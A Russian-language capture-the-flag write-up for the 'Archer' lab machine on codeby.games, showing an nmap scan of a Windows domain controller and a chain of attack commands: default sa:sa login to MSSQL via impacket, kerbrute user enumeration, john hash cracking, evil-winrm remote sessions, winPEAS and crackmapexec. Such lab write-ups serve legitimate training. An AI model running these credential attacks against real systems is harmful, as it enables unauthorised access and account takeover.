June 18, 2024

Writeup Archer (CodebyGames)

Решение.

Получаем ip на платформе codeby.games

Проводим разведку и сбор информации о цели с помощью nmap.

nmap -sV -sC <target_ip> -oA <file_name>

┌──(root㉿kali)-[~/codeby_game/Archer]
└─# cat scan.nmap
# Nmap 7.94SVN scan initiated Sun Jun 2 16:18:37 2024 as: nmap -sVC -A -O -Pn -oA scan 192.168.2.14
Nmap scan report for 192.168.2.14
Host is up (0.020s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-06-02 20:18:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: codeby.cdb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: CODEBY)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+
|_ssl-date: 2024-06-02T20:19:11+00:00; 0s from scanner time.
| ms-sql-info:
| 192.168.2.14:1433:
| Version:
| name: Microsoft SQL Server 2022 RC0+
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RC0
| Post-SP patches applied: true
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 192.168.2.14:1433:
| Target_Name: CODEBY
| NetBIOS_Domain_Name: CODEBY
| NetBIOS_Computer_Name: ARROW
| DNS_Domain_Name: codeby.cdb
| DNS_Computer_Name: arrow.codeby.cdb
| DNS_Tree_Name: codeby.cdb
|_ Product_Version: 10.0.14393
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-06-02T20:17:21
|_Not valid after: 2054-06-02T20:17:21
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: codeby.cdb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
Aggressive OS guesses: Microsoft Windows Server 2016 build 10586 - 14393 (98%), Microsoft Windows Server 2016 (96%), Microsoft Windows 10 10586 - 14393 (95%), Microsoft Windows 10 1507 - 1607 (95%), Microsoft Server 2008 R2 SP1 (95%), Microsoft Windows Server 2012 R2 Update 1 (95%), Windows Server 2012 R2 (95%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (95%), Microsoft Windows Server 2012 or Server 2012 R2 (94%), Microsoft Windows 10 (92%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: ARROW; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: arrow
| NetBIOS computer name: ARROW\x00
| Domain name: codeby.cdb
| Forest name: codeby.cdb
| FQDN: arrow.codeby.cdb
|_ System time: 2024-06-02T23:19:04+03:00
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-06-02T20:19:02
|_ start_date: 2024-06-02T20:13:50
|_clock-skew: mean: -35m59s, deviation: 1h20m28s, median: 0s

TRACEROUTE
HOP RTT ADDRESS
1 20.43 ms 192.168.2.14

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jun 2 16:19:12 2024 -- 1 IP address (1 host up) scanned in 35.20 seconds

Здесь мы видим, что у нас есть SQL server. Это наша входная точка, с нее мы и начнем.

На это раз мы попробуем подключится к базе данных со стандартной УЗ sa:sa при помощи инструмента impacket используя следующую команда:

mssqlclient.py 'sa:sa'@192.168.2.14

Отлично, мы получили доступ, теперь нам необходимо осмотреться, для этого есть специальные запросы, используемые мною команды можно посмотреть здесь.

В итоге вы должны увидеть вот эту БД.

В данной БД находятся хеши и соответственно имена пользователей.


Пользователей смотрим на валидность при помощи инструмента kerbrute, найти его можно здесь.

./kerbrute_linux_amd64 userenum --dc 192.168.2.14 -d codeby.cdb users.txt

После того как получили валидные УЗ необходимо будет перебрать полученные хеши, почитать можно здесь.

john --format=mssql12 --wordlist=pass hash

Получив пароль в открытом виде подключаемся к машине.

evil-winrm -i 192.168.2.14 -u <user> -p <passwd>

Осматриваем машину, получаем первую часть флага.
Далее мы загружаем и запускаем winPEAS, по окончанию работы программы смотрим полученный вывод.


После осмотра получаем еще одну УЗ, также пробуем подключится.

evil-winrm -i 192.168.2.14 -u <user> -p <passwd>

Или же пробуем посмотреть какой статус у нашего пользователя следующей командой:

crackmapexec smb 192.168.2.14 -u <user> -p <passwd>